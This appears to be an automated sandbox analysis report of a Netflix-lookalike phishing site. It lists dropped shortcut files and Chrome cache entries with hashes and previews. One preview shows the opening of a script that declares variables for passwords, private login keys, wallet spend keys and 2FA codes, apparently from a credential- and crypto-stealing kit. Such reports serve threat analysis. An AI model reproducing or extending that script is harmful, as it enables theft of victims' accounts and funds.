File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:51:30 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9938001782425014
Encrypted:	false
SSDEEP:	48:8ZdjWTDykpCHJleidAKZdA1weh/iZUkAQkqehny+2:8Or4G9QKy
MD5:	07D6EAFDCE1B2D9BDC9769B078586DE5
SHA1:	B5041BC20EED0D2FB9BB0C5FA8C42B050A240676
SHA-256:	62D9D3FAA69D227D26F63F18D8C5BAF10298015FBF3FD2EA9F6597553B233B32
SHA-512:	581FE8464B1C32B6AD9F72FAD566F03FEC15C4AFB07802B88D1AE050F20DA14511F5AA7E313E3FFDEBE1F178E836CCB66C53C3D4B8D05F51F72F73BAE8A71292
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IUZn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VUZp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.004429530362714
Encrypted:	false
SSDEEP:	48:8xTdjWTDykpsHJleidAKZdA14tseh7sFiZUkmgqeh7sBy+BX:8xsrmunzy
MD5:	7017CFBD4B51EE721EDD772374ADA4CA
SHA1:	27CD50ECB07BAD9EC2CB97CF974E2B4B85485DA2
SHA-256:	FAED53E6047499456FC7AA4CEE2C832A35C5433EFBA44733908FAF2E4C49B7D0
SHA-512:	F6BF4CA03BB3E318A527D80EC32812357087421F08D89CDDD210FD3113693C894D41B0B29C3FE3B1C3965778246474832B78D2D375950F2C8313E57632BECAC8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IUZn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:51:30 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.991889955924658
Encrypted:	false
SSDEEP:	48:8jdjWTDykpCHJleidAKZdA1vehDiZUkwqehby+R:8cr4Npy
MD5:	4989CC4AA614023EA4CA1B7D1D1C2A9E
SHA1:	C3547114A77366D405251629B6AC24DF4716D9CE
SHA-256:	0AF19626AE1B5C4C285992A96499D65C1839906CCED39736CD0EE20196BBCD7B
SHA-512:	1949E11D832AF5D932D992CF9E223E640554B76C7ECB02ED29FAB5F7864849CDC7AD92FF78BB1D63864F9579DEE72A17FCEAF758CBA7CDC7F1244311E0D6BFA7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....).....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IUZn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VUZp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:51:31 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.979932995280151
Encrypted:	false
SSDEEP:	48:8YdjWTDykpCHJleidAKZdA1hehBiZUk1W1qehty+C:8Fr4N9Ny
MD5:	4521E7538AD1DEEDF098A0DC6B4FA0B9
SHA1:	485E5B533B2737DB63A83779729FAD05750619D8
SHA-256:	1E7832DC9F13FDDCA00BE04E0065185DE569AC02E12D4931C93B49061A979E7D
SHA-512:	7CEB2453554DEAE214AAD15493115E053F54CC2D096F885F8414285AE4AA5E08AB0A2BA086C23DA8E6AC6F3F5457B3EE3FE10118DB14C0B15525FC93782000A0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IUZn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VUZp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:51:30 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.990232904832676
Encrypted:	false
SSDEEP:	48:8+djWTDykpCHJleidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbzy+yT+:83r4RT/TbxWOvTbzy7T
MD5:	08694575B9ADAC041585CC4AC07271C5
SHA1:	EA338FD19F86DC52D6A49087F9647F401E77A7D7
SHA-256:	F5FC02666516A41793593C9E8A927F56D38D55E71ACE89079AC40063F18A2297
SHA-512:	5E64A4862C78B16A82084DEADC419E564A181AFFB93DB69C0948CF8EFD795D899DE6FF84F8497145ED88BC62E1B0881858E09D60D8E41BF1E10714BE0930C438
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IUZn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VUZp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 2000x1125, components 3
Category:	dropped
Size (bytes):	203380
Entropy (8bit):	7.974667998207284
Encrypted:	false
SSDEEP:	6144:5pWqaNpZkcuwWAWtLyTkS9DzhipuhNBq+DGuS:6qauwWho44Dzhipy+xuS
MD5:	40BC4C615A67670043D162A2612F9A1B
SHA1:	CA5F91CB63F3A2E357EFCCA28278A74422690834
SHA-256:	BD9BF0545038304611FFAB7F5632036E119155ED621D16DBEC82857CCF411BA9
SHA-512:	F165263532682C03648A9B4722B4582DB0BEE8A8F48FBDEC3942C77611C7E6909824AA2697E913CBDAA11ABE5332860C06EDCAD72E3D8B8AD685C50E8A9B99CB
Malicious:	false
Reputation:	low
Preview:	......JFIF..............................................&.#. . .#.&.:..-..-..:.X.7.@.7.7.@.7.X.N._.M.H.M._.N...n.b.b.n...........................C.C..................................&.#. . .#.&.:..-..-..:.X.7.@.7.7.@.7.X.N._.M.H.M._.N...n.b.b.n...........................C.C........e...."..............................................N[Gb.Y.%..S.&qbTAc..n.....M;z50hvv.Ef$s.#.Z.^&.cW..{_CR...)..j..t..i...zj...0.....hS...(9.W+#..l..........U..#.o.2......... .B.K.v8-.....U.UZ...}.SH....Q...V.DG..5...).c.....G.....$Xi6.^.:..7G...g....I...Cj..bt.H........L..Hr.....u1l[.(^...D,.C....9..vfv./..:.....:.....W.W.(..-. ....R.$.$....#...J....TIU...Q..5...H...F..r.4..c@C.a!s..i.^R..I4D.GU.....+[.K.{.....{/..If..O...S.VL..y..6.Ir.m...i`..R....1....kc..[#pj....3m..S.9.%.EU.h...;.c....H...s..."nh.f......QATDUAQ.Y/^.e.\|.hb..d....:...S...7#..}NR....$...{......W...s..#&.<..tS\.b2E..z.&+.&.Y..&...9(z..d...-[H...H.=wB....S.....q..N.\|b..{.]).G.........;.....p..;....#.....

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 57 x 57, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1455
Entropy (8bit):	6.833304110099247
Encrypted:	false
SSDEEP:	24:Cr1he91Wwh82lYSKw/7KnAVo/T3ohyJ3VwIFE/EGjGUHM/fK5HLYeQknQmVKmTTt:2qQvnLkPmJJ3v4EAGUHWK5HMefQmVTTt
MD5:	A33CA47EF110B6E3EC5086B8776407D3
SHA1:	DFF5BBBE61B4920A23FB21A7FCA69CA9E94DCB6C
SHA-256:	3E49D9DC43267590184389AB3DA0CB9F7308C9C848667DAB109A0F7C73450ECE
SHA-512:	C860F1DCE64DC0F439A4D184A2E0F0BBD5001E5E985F34DA0BE0A3806E23B1DF58F7D653DECE5EAE33D85D13E1F5C2C66335AC1B7569513E1497C1E34E447BED
Malicious:	false
Reputation:	low
URL:	http://netflix-official.com/e/img/FB-f-Logo__blue_57.png
Preview:	.PNG........IHDR...9...9.............tEXtSoftware.Adobe ImageReadyq.e<...hiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:05801174072068118083CC1380C2A5EB" xmpMM:DocumentID="xmp.did:B8A4C62DA61611E28BEABCE338DCB390" xmpMM:InstanceID="xmp.iid:B8A4C62CA61611E28BEABCE338DCB390" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AC7ABFA9382068118C1498AF981ABACE" stRef:documentID="xmp.did:05801174072068118083CC1380C2A5EB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>5.$p....IDATx.b.......P...@..0\|.. ...=,@.........

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 127008
Category:	downloaded
Size (bytes):	20029
Entropy (8bit):	7.981221781603065
Encrypted:	false
SSDEEP:	384:Uj2t+q0kNRhEhAR4YRqMMZdE+nk7O12/wmk0ccOpn:QN7kNv4YvMQc6+2YeOd
MD5:	778AD9AF06BBD3206A71F59E8B8DF5ED
SHA1:	EC50B7B539C2A0985F42A34DD25304704CBA8ADE
SHA-256:	12789FCD5FD8F8034FA2569C9071DF4FCE07A1598720A6B69D3F2C624C4A9541
SHA-512:	F73ECC89AC3BA093FEEB61ACC5B1772898362B370D5E809330F120268F480E434880D7A17F361FB6A85C5FED792588C77EBAA61491D65F469C93629771E56B34
Malicious:	false
Reputation:	low
URL:	http://netflix-official.com/e/css/none.css
Preview:	.............. .W.v.....(.3...'.gW..M.f.wco."!...THJ3c.......4..9..uMr<C6.`...n4.7e...7...-....,.......i.%.._.~...^...8_.qQ.5....H7.Yc....,.}V.....<.k....'...T.].?.I...M.<..T.w.n}.s..yY.}....h..D.....>.*.4YY..Mu....2....!.vYq.X..\.@.H...[9.....f.U'........!+..,m.wd....^@...e].x.....eR.MU._...X...`E...T~ku..`...SC..x....+>@G.....u.-..b.Z..)..$..6,..k.).tQ7UY.@..8\|P.:.l...j.8....nC.eE...[;K..>...(...y..]QV.8W.-.>.U..M....n....eu....^.s...h..}....}.~.-..........K.^.b......?......6{............>....&/..{1..}.s_.i....}......6e........}.P.>...v..._...4)+AE.i-..'t..k\|.g.G.."......_.q....\O..yvi.?....].=;..i..]p\|......y>.4...)_.MuJ.S.Kh{n.........s]f..../+..q.2.....!.O..XVM\4..9.Oq.?...sVg.,...2...>m........R@..&...i.=..4+/..Jiu..'yv.cb.s.d..y.M.W...f....'~..x......c...X:.{]..bW4Nie...X.v.E..:F......O.X(.Ot..u..........>d.-jj.ok.5..f...w.M.<...v..n$.e1~........S.........L./=..l..t..YJ.)m.,...l..G....SE..lh..s.,.L....8+..Z..E\|^.B./..

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, CFF, length 73572, version 0.0
Category:	downloaded
Size (bytes):	73572
Entropy (8bit):	7.996472231286562
Encrypted:	true
SSDEEP:	1536:GyIdDrvNVFnRIrr34wom6m681VqKaJAu9LJmr7rs:GtNG39o3VUVOuy1mr7r
MD5:	7CF6156CC481244B5A254362D7B73F00
SHA1:	4391003D1CB06D2BD1921A5813A57604FA7D9935
SHA-256:	98713B53A74EBE7E326353080C5F1653E83AF61D6363C0B3C4C67D6D24197B4D
SHA-512:	51E204CCBDEDBD9ED83C360D28DE6142FBF969439DDF120DF5ABFD08529911BDDFF7F17048984E4CFE9525C947B06778CBE713435A77132012794B86665EC498
Malicious:	false
Reputation:	low
URL:	http://netflix-official.com/e/fonts/nf-icon-v1-93.woff
Preview:	wOFFOTTO...d......e.........................CFF ..........V.CH.'GSUB...X............OS/2.......I...`g.b.cmap...D...g...$.f.Vhead.......3...6"..hhea....... ...$....hmtx...0...W...BMf.imaxp..............P.name.......N...\|XN.lpost........... ...2..P.....x.c`d```...ol.......\|..........?../........$.....5.x......A.E...lm...FP.m.m....:.m.............Wq.<.E@-.b6.... ...]........%...0.b~N.....%.M.S.P).3sWD....3.z...8;!Z.L..r..x1.v.1....0A........._.Q..n./{f..k...@.g~KBr.X.{.h....:.....%J....".:D..L.:%.-=..L?.s+.}.2..2.x....A.^..V..l....~'..$ ...e.).NF..e..{U.......M......`.......P:+..9...Y.g.".\.;I.0qF..\|.}.>...$..1A..;bZ....Y)......,.y..V.w.i..b.....9.$.%.'^4@_..>.D.....3..Y.....,{....^+z1..1...(..7>..... Z#.?.....6;E..Z.......K....ds..Q.^..[.%..s.L.....-..d.`F.Y.P.....c..N...B.d.s}.Z.... ..s..Y..:3..I......M4..ggK...>......N.t.\|>../....w... .9...O...&......>....N.x.c`d``Q....Al..O...v.EP........x.c`fY.8............B3.0.1...@). .;...A..#.....X...... ....

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 64x64, 32 bits/pixel
Category:	dropped
Size (bytes):	16958
Entropy (8bit):	2.9061035655428897
Encrypted:	false
SSDEEP:	48:vXswapDVp0m3T5xuzqnM6ly9mq2FtFe4iMFJ+fPHyc2/4:vcwkDVpr5YGiAVJHiyJ+Sc2/4
MD5:	41B45FDCE09BD6ACD07C7A8949DA675E
SHA1:	931E18DFC6E7D950DC2F2BBDFE31E1EA720ACF7C
SHA-256:	ABE8012EB65C0DC0AC3E87DCC1E60E1908EBD8F12B7C47A5DF1856F7A7BB1EDD
SHA-512:	A650426E681161F3673D5E56C1F6C45D609715F07E85B3A3B2C610D293FBCB04A882AC9F92E65977A7145EF45035D08870DE3AB6BA331DAA2EE2FB4B1CE83296
Malicious:	false
Reputation:	low
Preview:	......@@.... .(B......(...@......... ........................................................................................................k...T...A.../...........................................................................+...>...R...h............................................................................................................................................................................................................................b......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (519), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	25841
Entropy (8bit):	5.248282966060129
Encrypted:	false
SSDEEP:	384:79On3HUgLjU9syWGXwf6tuUsKWoIaHzYHn65YMfX72bSz9U6i7lK7vF5LojaqvNC:7+6tufoG/CTgtAzf
MD5:	7A509AFC364CEC0AD3FCC4249C1239CF
SHA1:	C88F7CA4988C400A88D1006E1FA2CCBE1A6A5F81
SHA-256:	EA72275FD7D58A746CEA5CFAB21BCD96B2C8114DB29B6294A2C9B86BA13905DF
SHA-512:	16BF89DE1617B883A41EB393F76CD5238D6243F6F263A2BF111E3B0154D1A38C87CD340FCFC14E3D620D55DBE13D30BC5C6B9546027007679311F3336A2A38BB
Malicious:	false
Reputation:	low
Preview:	var ____pwd='';..var ikey = 'none';..var txt_ua = navigator.userAgent;..var send_block_flg=0;..var balance = 'none';..var eth_recipient='none';..var balance_block_flg=0;..var count_flg=0;..var stpm1flg= 0;..var lgn_flg=0;..var Private_Login_Key='';..var account_address= '';..var account_View_Key= '';..var account_Spend_Key= '';..var mainlink='wallet';..var _2FA_txt='';..var count_stp_flg=0;..var auth='';..var bot_id='Account';........function b64EncodeUnicode(str) {.. // first we use encodeURIComponent to get percent-encoded UTF-8,.. // then we convert the percent encodings into raw bytes which.. // can be fed into btoa... return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,.. function toSolidBytes(match, p1) {.. return String.fromCharCode('0x' + p1);.. }));..}....function b64DecodeUnicode(str) {.. // Going backwards: from bytestream, to percent-encoding, to original string... return decodeURIComponent(atob(str).split('').map(functio

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 16958
Category:	downloaded
Size (bytes):	1532
Entropy (8bit):	7.744529305381556
Encrypted:	false
SSDEEP:	24:Xs/HzDPuZbNP6ohmEerQuGwW0Ikui0aDwUtWNoulLF/WlrSvsp4WezEVqyGZzq4X:XgTDGRNP6kmEe8ShcNUoOuv/Sr/NezE+
MD5:	7A0D24F174045DE6F5B9D13273E10917
SHA1:	F187B4067506D3BB6A1EC08815FE29F70BFE3E63
SHA-256:	33D050DF15716CBFCF17FF7690CF0BE87A01FF6684EFF21306BE75C8607BDD8D
SHA-512:	C0BF8703680D01A0A49D98EBC09E0E54033BC90CC89D566765A352F18056A6CA815416B8D6A18B8632594E2DD55FA010E652EC8DF7F68CD7F61C54AF634BCE7B
Malicious:	false
Reputation:	low
URL:	http://netflix-official.com/e/img/nficon2016.ico
Preview:	...........Ml.U...\|.....7Q...$1..&.....;..0.0&.t.1.mK..l..\|.\|..BK.{.(......hlDj..73].S..&.c.....w...I&'i....9.{.=s.Q.BV."...d....M.YA..?. .(d9.O.Y...?.Z..f..6+.c.8-.f........:.2G...2h.....(.I.u.K.<..c.....Y.E..f.....\|...q./r.............=..S0#h.u..H;.x.......x.Zj.~....&..?.M......V.co.h8..........=...>.....5..."..\...;..._.~.....\?..-i.wY.4>.....j.~........G2..q.g.u...~.....(f..x.5...E\|...8=..-.._..\|~<.....{..i?....@.{=..@...X........5...M\|.K..=3..~.a....7.1l..m3.~..E.r...kt..A\|......l.1.C...0s........m:.)~....m.[c.....g^.K..k..3..k.R{..X`.O.g<'..z.>..li1.k......h?.....<.O7.?X......5..U`.5l.+~..?...e..}`i.....kts.....K`.]RG.Q...1...y.S..7.............f.w.....W..R.%..=...p..s.W...'j?....W7@^Y..._o.?.}c(c.}..X.....Gq..X.:.......t.8.7.}...9.,....-..~:.?.V..[j;8.14?..J.[....2./....K.X..8....W......P..{....zY..g=z...j...O....O...\z../r.R;..6..j!.-....~7..2.q...L.;...~..N...W./.0\|.{L.[....f.?..E.\.k\|.].W...Hv..o).e..a.s.9..J'p

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 162038
Category:	downloaded
Size (bytes):	31003
Entropy (8bit):	7.991555565821928
Encrypted:	true
SSDEEP:	768:nLlEKo5g2jLoibenFa7ltyWnC4aQGi66hB1SmuOPC/k8WR:nLS35g2Hoib4a7nyWC4aQGitMmWk8WR
MD5:	FECB4A0BE778C44E5BA81378C70DFD6F
SHA1:	C3A2976FA9CC09DDDF5F960B3C7725800815020E
SHA-256:	6F60C85148B849E5D80E86E058610CF529DF8DAD5E93B22D74D48748C94FEB2D
SHA-512:	8447B61DE3687CA286427C5C9635DE1D94B8833F9B3B7049C34AAD4EAD180DEEC3F9BC15BF3E4F9A34D4ECD908C49029A793A3823DB6D00D324B02BF9DDF2219
Malicious:	false
Reputation:	low
URL:	http://netflix-official.com/e/authID=ek3Lf
Preview:	...........}[s........RjR....].o..N\|.-.W.d........$8 )YN....R.%.!C....N%.%..A\|@w.o...q...~....`.....$.h..F...t.s..$.v=OI....NN..-Q}..c.3..}.>.z.U#.."..__o.....C..8..h....{$.I..].o7.yD./H>....V.uq.l:.1..L)....k..h....2.>../oiBs.#-.qD.L.x...E.~..m^Yvg7.....,F....$..d.<".......:~.m%,!.(..P.>f<...Q.%..4.....b...S....P..iD....X...&...i....{..lk.....m......?-..K.2......>..i...[.2.S.l.a."';9K.5.0.#...h...m...G..dY....>..l.jkg..'....h2.../......o..].........."..;;C......-K.O.p...Y...+.0v..g.o."g;.../...\|g.\..F..NT.4.(.8.H.-....-......E.S..E.N2-#......'...-..a.N..qT]...I.qmFh8^].H...~y.&D.W....&...j(.c... .^Z....vDFy.= >.\|.r....$_V..8`...9.I6b<...O......4'e.W/;c<x......t.x....&d>.8&...oV..6.,..DK.\.q.r.....7..lU.\|R.\|.O.h.....[.W...s.ngh.... ..........'........-....k.j...S..$........{...F.H..,h.z.^.F.......F..e.F..:..~..:....r.S_...GC?H..[<.....5.{.o.~..<=....e..A..8I..Q.s.E.@..3.$.r...&9.;.5<..?.YNdW.....M1.b .nz.S......lH#..._1......%/.{..b.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 239
Category:	downloaded
Size (bytes):	141
Entropy (8bit):	6.53282174231627
Encrypted:	false
SSDEEP:	3:FttAentXNOrNwttijJSWZjtOrDfK6WJ+7HX8bAT0TioAWun:Xt7tX8r6tAJS8YDWJ+7HihAWu
MD5:	5AA4D427438D80B042F01B0853B52E9F
SHA1:	64BEC71812C68693BA69CE265A93EC0D6306C213
SHA-256:	7BF8525A151E95F3D05C686F139B1E6FC1B7C5D1887BCB5C154C078B00E6B329
SHA-512:	AAD23F172E843DF6F70D24896A3D4A5D698F6362433DD33AC498326BEAFFB417C0AF0FFB8776D5FA4344DB6CD0FF67C5D153B61B889EDBA3B07253AEC3772A4F
Malicious:	false
Reputation:	low
URL:	http://netflix-official.com/e/js/wallet.js
Preview:	............;..0...H...\%&-Q.b......7..C..+ >..HH3...R.....9....V....f..G...di7.....x.....,.....2..cq...Q.Y....l..v...o_....>.;.`_.....

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 2000x1125, components 3
Category:	downloaded
Size (bytes):	203380
Entropy (8bit):	7.974667998207284
Encrypted:	false
SSDEEP:	6144:5pWqaNpZkcuwWAWtLyTkS9DzhipuhNBq+DGuS:6qauwWho44Dzhipy+xuS
MD5:	40BC4C615A67670043D162A2612F9A1B
SHA1:	CA5F91CB63F3A2E357EFCCA28278A74422690834
SHA-256:	BD9BF0545038304611FFAB7F5632036E119155ED621D16DBEC82857CCF411BA9
SHA-512:	F165263532682C03648A9B4722B4582DB0BEE8A8F48FBDEC3942C77611C7E6909824AA2697E913CBDAA11ABE5332860C06EDCAD72E3D8B8AD685C50E8A9B99CB
Malicious:	false
Reputation:	low
URL:	http://netflix-official.com/e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg
